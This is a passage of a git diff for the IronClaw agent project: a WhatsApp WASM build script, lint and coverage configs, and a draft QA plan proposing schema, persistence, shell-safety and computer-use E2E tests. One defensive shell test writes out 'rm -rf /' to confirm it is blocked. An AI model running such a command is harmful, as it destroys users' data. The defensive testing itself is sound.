#
|
||||
# Prerequisites:
|
||||
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
|
||||
# - wasm-tools for component creation: cargo install wasm-tools
|
||||
#
|
||||
# Output:
|
||||
# - whatsapp.wasm - WASM component ready for deployment
|
||||
# - whatsapp.capabilities.json - Capabilities file (copy alongside .wasm)
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
if ! command -v wasm-tools &> /dev/null; then
|
||||
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Building WhatsApp channel WASM component..."
|
||||
|
||||
# Build the WASM module
|
||||
cargo build --release --target wasm32-wasip2
|
||||
|
||||
# Convert to component model (if not already a component)
|
||||
# wasm-tools component new is idempotent on components
|
||||
WASM_PATH="target/wasm32-wasip2/release/whatsapp_channel.wasm"
|
||||
|
||||
if [ -f "$WASM_PATH" ]; then
|
||||
# Create component if needed
|
||||
wasm-tools component new "$WASM_PATH" -o whatsapp.wasm 2>/dev/null || cp "$WASM_PATH" whatsapp.wasm
|
||||
|
||||
# Optimize the component
|
||||
wasm-tools strip whatsapp.wasm -o whatsapp.wasm
|
||||
|
||||
echo "Built: whatsapp.wasm ($(du -h whatsapp.wasm | cut -f1))"
|
||||
echo ""
|
||||
echo "To install:"
|
||||
echo " mkdir -p ~/.ironclaw/channels"
|
||||
echo " cp whatsapp.wasm whatsapp.capabilities.json ~/.ironclaw/channels/"
|
||||
echo ""
|
||||
echo "Then add your access token to secrets:"
|
||||
echo " # Set whatsapp_access_token in your environment or secrets store"
|
||||
else
|
||||
echo "Error: WASM output not found at $WASM_PATH"
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,8 @@
|
||||
# Complexity guardrails for AI-assisted development quality.
|
||||
# These thresholds prevent new violations while preserving existing code.
|
||||
# See: https://github.com/nearai/ironclaw/issues/338
|
||||
|
||||
cognitive-complexity-threshold = 15 # default: 25 (only active when lint is enabled)
|
||||
too-many-lines-threshold = 100 # default: 100 (only active when lint is enabled)
|
||||
too-many-arguments-threshold = 7 # default: 7 (keep default, avoids new violations)
|
||||
type-complexity-threshold = 250 # default: 250 (keep default, avoids new violations)
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
coverage:
|
||||
status:
|
||||
project:
|
||||
default:
|
||||
target: auto
|
||||
threshold: 1%
|
||||
patch:
|
||||
default:
|
||||
target: 80%
|
||||
threshold: 5%
|
||||
@@ -0,0 +1,908 @@
|
||||
# Automated QA Plan for IronClaw
|
||||
|
||||
**Date:** 2026-02-24
|
||||
**Status:** Draft
|
||||
**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing.
|
||||
|
||||
---
|
||||
|
||||
## Motivation
|
||||
|
||||
A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories:
|
||||
|
||||
| Category | Examples | Root Cause |
|
||||
|----------|----------|------------|
|
||||
| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read |
|
||||
| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back |
|
||||
| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI |
|
||||
| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back |
|
||||
| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all |
|
||||
| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args |
|
||||
| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration |
|
||||
|
||||
Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug.
|
||||
|
||||
---
|
||||
|
||||
## Tier 1: Schema & Contract Tests
|
||||
|
||||
**Cost:** Low (pure Rust tests, no infrastructure)
|
||||
**Timeline:** Can land incrementally, one PR per sub-task
|
||||
**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320
|
||||
|
||||
### 1.1 Tool Schema Validator
|
||||
|
||||
Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts:
|
||||
|
||||
- Top-level has `"type": "object"`
|
||||
- Every key in `"required"` exists in `"properties"`
|
||||
- Every property has a `"type"` field
|
||||
- No `additionalProperties` unless explicitly set
|
||||
- Nested objects follow the same rules recursively
|
||||
|
||||
```rust
|
||||
// src/tools/registry.rs or a new tests/tool_schema_validation.rs
|
||||
#[test]
|
||||
fn all_tool_schemas_are_openai_strict_valid() {
|
||||
let registry = ToolRegistry::new();
|
||||
register_all_builtins(&mut registry);
|
||||
for tool in registry.all_tools() {
|
||||
let schema = tool.parameters_schema();
|
||||
validate_strict_schema(&schema, &tool.name())
|
||||
.unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e));
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces).
|
||||
|
||||
**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs`
|
||||
|
||||
### 1.2 Config Round-Trip Tests
|
||||
|
||||
Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match.
|
||||
|
||||
Cover the specific bugs found:
|
||||
- `LLM_BACKEND` written to bootstrap `.env` and read back correctly
|
||||
- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set
|
||||
- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false`
|
||||
- Session token stored under `nearai.session_token` (not `nearai.session`)
|
||||
|
||||
```rust
|
||||
#[test]
|
||||
fn bootstrap_env_round_trips_llm_backend() {
|
||||
let dir = tempdir().unwrap();
|
||||
let env_path = dir.path().join(".env");
|
||||
save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap();
|
||||
// Simulate restart: load from env file
|
||||
dotenv::from_path(&env_path).unwrap();
|
||||
assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai");
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** New `tests/config_round_trip.rs`
|
||||
|
||||
### 1.3 Feature-Flag CI Matrix
|
||||
|
||||
The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features.
|
||||
|
||||
Add a CI matrix:
|
||||
|
||||
```yaml
|
||||
# .github/workflows/test.yml
|
||||
strategy:
|
||||
matrix:
|
||||
features:
|
||||
- "--all-features"
|
||||
- "" # default features only
|
||||
- "--no-default-features --features libsql"
|
||||
steps:
|
||||
- name: Run Tests
|
||||
run: cargo test ${{ matrix.features }} -- --nocapture
|
||||
```
|
||||
|
||||
Update `code_style.yml` to also run clippy with `--all-features`:
|
||||
|
||||
```yaml
|
||||
- name: Check lints (all features)
|
||||
run: cargo clippy --all-features -- -D warnings
|
||||
- name: Check lints (libsql only)
|
||||
run: cargo clippy --no-default-features --features libsql -- -D warnings
|
||||
```
|
||||
|
||||
**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml`
|
||||
|
||||
### 1.4 Docker Build in CI
|
||||
|
||||
Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds.
|
||||
|
||||
```yaml
|
||||
# .github/workflows/test.yml - new job
|
||||
docker-build:
|
||||
name: Docker Build
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: Build Docker image
|
||||
run: docker build -t ironclaw-test:ci .
|
||||
```
|
||||
|
||||
**Files:** Modify `.github/workflows/test.yml`
|
||||
|
||||
---
|
||||
|
||||
## Tier 2: Integration Tests
|
||||
|
||||
**Cost:** Medium (needs test harnesses, possibly testcontainers)
|
||||
**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions
|
||||
**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140
|
||||
|
||||
### 2.1 Test Harness: In-Memory Database Backend
|
||||
|
||||
Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests.
|
||||
|
||||
Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood):
|
||||
|
||||
```rust
|
||||
// src/testing.rs
|
||||
pub async fn test_db() -> impl Database {
|
||||
let backend = LibSqlBackend::open_in_memory().await.unwrap();
|
||||
backend.run_migrations().await.unwrap();
|
||||
backend
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`)
|
||||
|
||||
### 2.2 Turn Persistence Tests
|
||||
|
||||
Test every code path in `process_approval` and the main agent loop that should call `persist_turn`:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn approved_tool_call_persists_turn() {
|
||||
let db = test_db().await;
|
||||
let mut agent = TestAgent::new(db);
|
||||
// Create a turn with a pending tool call
|
||||
agent.submit("search for cats").await;
|
||||
// Simulate tool approval
|
||||
agent.approve_tool_call(0).await;
|
||||
// Verify turn is in DB (not just in memory)
|
||||
let turns = agent.db().get_turns(agent.thread_id()).await.unwrap();
|
||||
assert!(turns.iter().any(|t| t.has_tool_result()));
|
||||
}
|
||||
```
|
||||
|
||||
Cover:
|
||||
- Approved tool call with successful result
|
||||
- Approved tool call with error result
|
||||
- Approved tool call requiring auth
|
||||
- Deferred tool call with auth
|
||||
- User message persisted before agent loop starts (not after)
|
||||
|
||||
**Files:** New `tests/turn_persistence.rs`
|
||||
|
||||
### 2.3 WASM Channel Lifecycle Tests
|
||||
|
||||
Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written.
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn wasm_channel_workspace_writes_are_flushed() {
|
||||
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
|
||||
// Simulate a callback that writes workspace data
|
||||
wrapper.handle_callback(test_update_payload()).await.unwrap();
|
||||
// Verify writes were captured
|
||||
let writes = wrapper.take_pending_writes();
|
||||
assert!(!writes.is_empty(), "workspace_write() calls must be captured");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn wasm_channel_workspace_read_returns_prior_writes() {
|
||||
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
|
||||
// Inject workspace data
|
||||
wrapper.inject_workspace_entry("polling_offset", b"12345");
|
||||
// Simulate a callback that reads workspace data
|
||||
wrapper.handle_callback(test_update_payload()).await.unwrap();
|
||||
// The channel should have used the injected offset (not 0)
|
||||
// Verify by checking the getUpdates call offset parameter
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs`
|
||||
|
||||
### 2.4 Extension Registry Collision Tests
|
||||
|
||||
Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn channel_and_tool_with_same_name_dont_collide() {
|
||||
let registry = TestRegistry::new();
|
||||
registry.install("telegram", ArtifactKind::Channel).await.unwrap();
|
||||
registry.install("telegram", ArtifactKind::Tool).await.unwrap();
|
||||
assert!(registry.tools_dir().join("telegram").exists());
|
||||
assert!(registry.channels_dir().join("telegram").exists());
|
||||
// Both resolve independently
|
||||
assert_eq!(registry.get("telegram", ArtifactKind::Channel).unwrap().kind, ArtifactKind::Channel);
|
||||
assert_eq!(registry.get("telegram", ArtifactKind::Tool).unwrap().kind, ArtifactKind::Tool);
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** New `tests/registry_collision.rs`
|
||||
|
||||
### 2.5 Shell Tool Realistic Arg Tests
|
||||
|
||||
The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn destructive_command_blocked_with_object_args() {
|
||||
let shell = ShellTool::new();
|
||||
let params = serde_json::json!({
|
||||
"command": "rm -rf /"
|
||||
});
|
||||
// This is how the LLM actually sends args -- as an Object, not a String
|
||||
let result = shell.execute(params, &test_context()).await;
|
||||
assert!(result.is_err() || result.unwrap().contains("blocked"));
|
||||
}
|
||||
```
|
||||
|
||||
Also test pipe deadlock prevention with large output:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn shell_handles_large_output_without_deadlock() {
|
||||
let shell = ShellTool::new();
|
||||
let params = serde_json::json!({
|
||||
"command": "yes | head -c 200000" // ~200KB, well above pipe buffer
|
||||
});
|
||||
let result = tokio::time::timeout(
|
||||
Duration::from_secs(10),
|
||||
shell.execute(params, &test_context())
|
||||
).await;
|
||||
assert!(result.is_ok(), "shell tool deadlocked on large output");
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend `src/tools/builtin/shell.rs` tests
|
||||
|
||||
### 2.6 Failover and Circuit Breaker Edge Cases
|
||||
|
||||
```rust
|
||||
#[test]
|
||||
fn cooldown_activation_at_zero_nanos() {
|
||||
let mut cooldown = ProviderCooldown::new();
|
||||
// Edge case: if system clock returns 0 (or test mock does)
|
||||
cooldown.activate_cooldown(0);
|
||||
assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn failover_with_all_providers_failing() {
|
||||
let failover = FailoverProvider::new(vec![
|
||||
always_failing_provider("a]"),
|
||||
always_failing_provider("b"),
|
||||
]);
|
||||
let result = failover.chat(&[]).await;
|
||||
assert!(result.is_err());
|
||||
// Must not panic (the old .expect() bug)
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests
|
||||
|
||||
### 2.7 Context Length Recovery Test
|
||||
|
||||
Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error:
|
||||
|
||||
```rust
|
||||
#[tokio::test]
|
||||
async fn context_length_exceeded_triggers_compaction() {
|
||||
let mut agent = TestAgent::with_provider(
|
||||
ContextLimitMockProvider::new(fail_after_n_turns: 3)
|
||||
);
|
||||
// Send enough messages to trigger context limit
|
||||
for i in 0..5 {
|
||||
agent.submit(&format!("message {i}")).await;
|
||||
}
|
||||
// Agent should have compacted and continued, not errored
|
||||
assert!(agent.last_response().is_ok());
|
||||
assert!(agent.compaction_count() > 0);
|
||||
}
|
||||
```
|
||||
|
||||
**Files:** New `tests/context_recovery.rs`
|
||||
|
||||
---
|
||||
|
||||
## Tier 3: Computer-Use E2E Testing
|
||||
|
||||
**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running)
|
||||
**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions
|
||||
**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items
|
||||
|
||||
### 3.1 Architecture
|
||||
|
||||
```
|
||||
+------------------+ +-----------------+ +------------------+
|
||||
| Test Runner | | Headless | | IronClaw |
|
||||
| (Python/TS) |---->| Chromium |---->| (cargo run) |
|
||||
| | | (Playwright) | | GATEWAY=true |
|
||||
| Orchestrates | | | | port 3001 |
|
||||
| scenarios | | Screenshots | | |
|
||||
+--------+---------+ +--------+--------+ +------------------+
|
||||
| |
|
||||
v v
|
||||
+------------------+ +-----------------+
|
||||
| Claude | | Assertion |
|
||||
| Computer Use | | Engine |
|
||||
| API | | (visual + |
|
||||
| (screenshot → | | DOM-based) |
|
||||
| action) | | |
|
||||
+------------------+ +-----------------+
|
||||
```
|
||||
|
||||
**Components:**
|
||||
|
||||
1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios.
|
||||
|
||||
2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts).
|
||||
|
||||
3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls.
|
||||
|
||||
4. **Assertion engine** -- Hybrid approach:
|
||||
- **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children"
|
||||
- **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time"
|
||||
|
||||
### 3.2 Test Infrastructure Setup
|
||||
|
||||
**Directory structure:**
|
||||
|
||||
```
|
||||
tests/
|
||||
e2e/
|
||||
conftest.py # pytest fixtures: start ironclaw, browser
|
||||
computer_use.py # Claude computer use client wrapper
|
||||
assertions.py # DOM + visual assertion helpers
|
||||
scenarios/
|
||||
test_connection.py
|
||||
test_chat.py
|
||||
test_skills.py
|
||||
test_sse_reconnect.py
|
||||
test_onboarding.py
|
||||
test_html_injection.py
|
||||
test_tool_approval.py
|
||||
screenshots/ # Reference screenshots (gitignored)
|
||||
Dockerfile.test # Container for CI: ironclaw + chromium
|
||||
```
|
||||
|
||||
**Fixture: start ironclaw**
|
||||
|
||||
```python
|
||||
@pytest.fixture(scope="session")
|
||||
async def ironclaw_server():
|
||||
"""Start ironclaw with gateway enabled, return base URL."""
|
||||
env = {
|
||||
"CLI_ENABLED": "false",
|
||||
"GATEWAY_ENABLED": "true",
|
||||
"GATEWAY_PORT": "3001",
|
||||
"GATEWAY_AUTH_TOKEN": "test-token-e2e",
|
||||
"GATEWAY_USER_ID": "e2e-tester",
|
||||
"LLM_BACKEND": "openai_compatible", # or mock
|
||||
"LLM_BASE_URL": "http://localhost:11434/v1", # local Ollama
|
||||
"DATABASE_BACKEND": "libsql",
|
||||
"LIBSQL_PATH": ":memory:",
|
||||
"SANDBOX_ENABLED": "false",
|
||||
"SKILLS_ENABLED": "true",
|
||||
}
|
||||
proc = await asyncio.create_subprocess_exec(
|
||||
"cargo", "run", "--features", "libsql",
|
||||
env={**os.environ, **env},
|
||||
)
|
||||
await wait_for_ready("http://127.0.0.1:3001/api/health", timeout=120)
|
||||
yield "http://127.0.0.1:3001"
|
||||
proc.terminate()
|
||||
```
|
||||
|
||||
**Fixture: browser with computer use**
|
||||
|
||||
```python
|
||||
@pytest.fixture
|
||||
async def browser_agent(ironclaw_server):
|
||||
"""Playwright browser + Claude computer use agent."""
|
||||
async with async_playwright() as p:
|
||||
browser = await p.chromium.launch(headless=True)
|
||||
page = await browser.new_page(viewport={"width": 1280, "height": 720})
|
||||
await page.goto(f"{ironclaw_server}/?token=test-token-e2e")
|
||||
agent = ComputerUseAgent(page)
|
||||
yield agent
|
||||
await browser.close()
|
||||
```
|
||||
|
||||
**Computer use wrapper:**
|
||||
|
||||
```python
|
||||
class ComputerUseAgent:
|
||||
"""Drives the browser via Claude computer use API."""
|
||||
|
||||
def __init__(self, page: Page):
|
||||
self.page = page
|
||||
self.client = anthropic.Anthropic()
|
||||
|
||||
async def execute_scenario(self, instruction: str, max_steps: int = 20) -> list[str]:
|
||||
"""
|
||||
Give a natural-language instruction, let Claude drive the browser.
|
||||
Returns a list of observations/assertions from Claude.
|
||||
"""
|
||||
messages = [{"role": "user", "content": instruction}]
|
||||
observations = []
|
||||
|
||||
for _ in range(max_steps):
|
||||
screenshot = await self.take_screenshot()
|
||||
response = self.client.messages.create(
|
||||
model="claude-sonnet-4-20250514",
|
||||
max_tokens=1024,
|
||||
tools=[{
|
||||
"type": "computer_20250124",
|
||||
"name": "computer",
|
||||
"display_width_px": 1280,
|
||||
"display_height_px": 720,
|
||||
}],
|
||||
messages=messages,
|
||||
)
|
||||
|
||||
# Process tool use blocks (click, type, screenshot, etc.)
|
||||
for block in response.content:
|
||||
if block.type == "tool_use":
|
||||
result = await self.execute_action(block.input)
|
||||
messages.append({"role": "assistant", "content": response.content})
|
||||
messages.append({"role": "user", "content": [result]})
|
||||
elif block.type == "text":
|
||||
observations.append(block.text)
|
||||
|
||||
if response.stop_reason == "end_turn":
|
||||
break
|
||||
|
||||
return observations
|
||||
|
||||
async def take_screenshot(self) -> bytes:
|
||||
return await self.page.screenshot(type="png")
|
||||
|
||||
async def execute_action(self, action: dict) -> dict:
|
||||
"""Translate Claude's computer use action to Playwright calls."""
|
||||
if action["action"] == "click":
|
||||
await self.page.mouse.click(action["coordinate"][0], action["coordinate"][1])
|
||||
elif action["action"] == "type":
|
||||
await self.page.keyboard.type(action["text"])
|
||||
elif action["action"] == "scroll":
|
||||
await self.page.mouse.wheel(0, action["coordinate"][1])
|
||||
elif action["action"] == "key":
|
||||
await self.page.keyboard.press(action["text"])
|
||||
# Return screenshot after action
|
||||
screenshot = await self.take_screenshot()
|
||||
return {"type": "tool_result", "content": [
|
||||
{"type": "image", "source": {"type": "base64", "media_type": "image/png",
|
||||
"data": base64.b64encode(screenshot).decode()}}
|
||||
]}
|
||||
```
|
||||
|
||||
### 3.3 Test Scenarios
|
||||
|
||||
Each scenario maps to a real bug or the existing manual checklist in `skills/web-ui-test/SKILL.md`.
|
||||
|
||||
#### Scenario 1: Connection and Tab Navigation
|
||||
|
||||
```python
|
||||
async def test_connection_and_tabs(browser_agent):
|
||||
"""Bugs: #306 (orphan threads on null threadId during page load)"""
|
||||
observations = await browser_agent.execute_scenario("""
|
||||
1. Look at the page. Verify there is a "Connected" indicator visible.
|
||||
2. Click each tab in order: Chat, Memory, Jobs, Routines, Extensions, Skills.
|
||||
3. For each tab, verify the panel content changes and no error messages appear.
|
||||
4. Return to the Chat tab.
|
||||
5. Report what you see for each tab.
|
||||
""")
|
||||
# DOM assertions (fast, deterministic)
|
||||
page = browser_agent.page
|
||||
assert await page.locator(".connection-status.connected").count() > 0
|
||||
for tab in ["chat", "memory", "jobs", "routines", "extensions", "skills"]:
|
||||
assert await page.locator(f'[data-tab="{tab}"]').count() > 0
|
||||
```
|
||||
|
||||
#### Scenario 2: Chat Message Round-Trip
|
||||
|
||||
```python
|
||||
async def test_chat_sends_and_receives(browser_agent):
|
||||
"""Bugs: #305 (user message not persisted), #255 (fake proceed messages)"""
|
||||
observations = await browser_agent.execute_scenario("""
|
||||
1. Click on the chat input box at the bottom.
|
||||
2. Type "Hello, what is 2+2?" and press Enter.
|
||||
3. Wait for the assistant to respond (you should see a streaming response).
|
||||
4. Verify the assistant's response appears below your message.
|
||||
5. Report the assistant's response.
|
||||
""")
|
||||
page = browser_agent.page
|
||||
# At least 2 messages: user + assistant
|
||||
messages = await page.locator(".message").count()
|
||||
assert messages >= 2
|
||||
# No error toasts
|
||||
assert await page.locator(".toast.error").count() == 0
|
||||
```
|
||||
|
||||
#### Scenario 3: SSE Reconnect
|
||||
|
||||
```python
|
||||
async def test_sse_reconnect_preserves_history(browser_agent, ironclaw_server):
|
||||
"""Bug: #307 (no re-sync on SSE reconnect after server restart)"""
|
||||
page = browser_agent.page
|
||||
|
||||
# Step 1: Send a message
|
||||
await browser_agent.execute_scenario("""
|
||||
Type "Remember this: the secret word is platypus" in the chat and press Enter.
|
||||
Wait for the response.
|
||||
""")
|
||||
msg_count_before = await page.locator(".message").count()
|
||||
|
||||
# Step 2: Kill and restart the server
|
||||
# (test fixture provides a restart helper)
|
||||
await restart_ironclaw(ironclaw_server)
|
||||
|
||||
# Step 3: Wait for reconnect
|
||||
await page.wait_for_selector(".connection-status.connected", timeout=30000)
|
||||
|
||||
# Step 4: Verify message history is preserved
|
||||
msg_count_after = await page.locator(".message").count()
|
||||
assert msg_count_after >= msg_count_before, \
|
||||
f"Messages lost after reconnect: {msg_count_before} -> {msg_count_after}"
|
||||
```
|
||||
|
||||
#### Scenario 4: Skills Search, Install, Remove
|
||||
|
||||
```python
|
||||
async def test_skills_lifecycle(browser_agent):
|
||||
"""Automates the manual checklist from skills/web-ui-test/SKILL.md"""
|
||||
# Override confirm() to auto-accept
|
||||
await browser_agent.page.evaluate("window.confirm = () => true")
|
||||
|
||||
observations = await browser_agent.execute_scenario("""
|
||||
1. Click the "Skills" tab.
|
||||
2. Look for a search box. Type "markdown" and press Enter or click Search.
|
||||
3. Wait for results to appear.
|
||||
4. Verify results show: name, version, description.
|
||||
5. Click "Install" on the first result.
|
||||
6. Wait for a success notification.
|
||||
7. Verify the skill now appears in the "Installed Skills" section.
|
||||
8. Click "Remove" on the skill you just installed.
|
||||
9. Wait for a success notification.
|
||||
10. Verify the skill is gone from the installed list.
|
||||
11. Report what happened at each step.
|
||||
""")
|
||||
# Final state: no installed skills (we removed what we installed)
|
||||
page = browser_agent.page
|
||||
await page.click('[data-tab="skills"]')
|
||||
# Should not have the test skill installed
|
||||
```
|
||||
|
||||
#### Scenario 5: HTML Injection Defense
|
||||
|
||||
```python
|
||||
async def test_html_injection_sanitized(browser_agent):
|
||||
"""Bug: #263 (HTML error pages injected into UI, still open)"""
|
||||
# This requires a mock LLM that returns HTML in tool output
|
||||
# or we craft a message that triggers tool output containing HTML
|
||||
page = browser_agent.page
|
||||
|
||||
await browser_agent.execute_scenario("""
|
||||
Type this exact message in the chat and press Enter:
|
||||
"Please use the http tool to fetch https://httpbin.org/html"
|
||||
Wait for the response.
|
||||
""")
|
||||
|
||||
# The page should NOT have raw HTML rendering from the tool output
|
||||
# Check that no unexpected <h1> or full <html> documents appear
|
||||
body_html = await page.inner_html("body")
|
||||
assert "<html>" not in body_html.lower() or "code" in body_html.lower(), \
|
||||
"Raw HTML from tool output was injected unsanitized into the page"
|
||||
```
|
||||
|
||||
#### Scenario 6: Tool Approval Overlay
|
||||
|
||||
```python
|
||||
async def test_tool_approval_overlay(browser_agent):
|
||||
"""Bugs: #250 (approval results not persisted), #72 (destructive check dead code)"""
|
||||
observations = await browser_agent.execute_scenario("""
|
||||
1. Type "Run the shell command: echo hello world" in chat and press Enter.
|
||||
2. If an approval dialog appears, click "Approve" or "Allow".
|
||||
3. Wait for the result.
|
||||
4. Verify the output includes "hello world".
|
||||
5. Report what you see.
|
||||
""")
|
||||
```
|
||||
|
||||
#### Scenario 7: Onboarding Wizard (Full Flow)
|
||||
|
||||
```python
|
||||
async def test_onboarding_wizard_completes(tmp_ironclaw_home):
|
||||
"""Bugs: #187, #174, #129, #185 (wizard persistence and re-trigger)"""
|
||||
# Start ironclaw with a fresh home directory (no prior config)
|
||||
# The wizard runs in TUI mode, so we need a PTY or use the web wizard
|
||||
# if/when one exists. For now, test the CLI wizard via expect-style automation.
|
||||
|
||||
proc = pexpect.spawn(
|
||||
"cargo run",
|
||||
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
|
||||
timeout=60,
|
||||
)
|
||||
|
||||
# Step through wizard
|
||||
proc.expect("Welcome to IronClaw")
|
||||
proc.expect("LLM Backend")
|
||||
proc.sendline("1") # Select first option
|
||||
# ... continue through all 7 steps ...
|
||||
proc.expect("Setup complete")
|
||||
proc.close()
|
||||
|
||||
# Restart and verify wizard does NOT re-trigger
|
||||
proc2 = pexpect.spawn(
|
||||
"cargo run",
|
||||
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
|
||||
timeout=30,
|
||||
)
|
||||
proc2.expect("Agent ironclaw ready") # Should skip wizard
|
||||
# Must NOT see "Welcome to IronClaw" again
|
||||
assert not proc2.match_any(["Welcome to IronClaw"], timeout=5)
|
||||
proc2.close()
|
||||
```
|
||||
|
||||
### 3.4 LLM Backend for E2E Tests
|
||||
|
||||
E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options:
|
||||
|
||||
1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`.
|
||||
|
||||
2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures.
|
||||
|
||||
3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism.
|
||||
|
||||
Recommendation: Start with local Ollama for development, mock LLM server for CI.
|
||||
|
||||
### 3.5 CI Integration
|
||||
|
||||
E2E tests are expensive and slow. Run them on a separate schedule, not on every PR:
|
||||
|
||||
```yaml
|
||||
# .github/workflows/e2e.yml
|
||||
name: E2E Tests
|
||||
on:
|
||||
schedule:
|
||||
- cron: "0 6 * * *" # Daily at 6 AM UTC
|
||||
workflow_dispatch: # Manual trigger
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
runs-on: ubuntu-latest
|
||||
services:
|
||||
ollama:
|
||||
image: ollama/ollama:latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: Build ironclaw
|
||||
run: cargo build --features libsql
|
||||
- name: Install Playwright
|
||||
run: pip install playwright pytest-playwright && playwright install chromium
|
||||
- name: Pull test model
|
||||
run: ollama pull qwen2.5:0.5b
|
||||
- name: Run E2E tests
|
||||
run: pytest tests/e2e/ -v --timeout=300
|
||||
env:
|
||||
LLM_BACKEND: openai_compatible
|
||||
LLM_BASE_URL: http://localhost:11434/v1
|
||||
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Tier 4: Chaos and Resilience Testing
|
||||
|
||||
**Cost:** Medium (needs mock providers, time-control utilities)
|
||||
**Timeline:** After Tier 2 harness exists; add scenarios incrementally
|
||||
**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139
|
||||
|
||||
### 4.1 LLM Provider Chaos
|
||||
|
||||
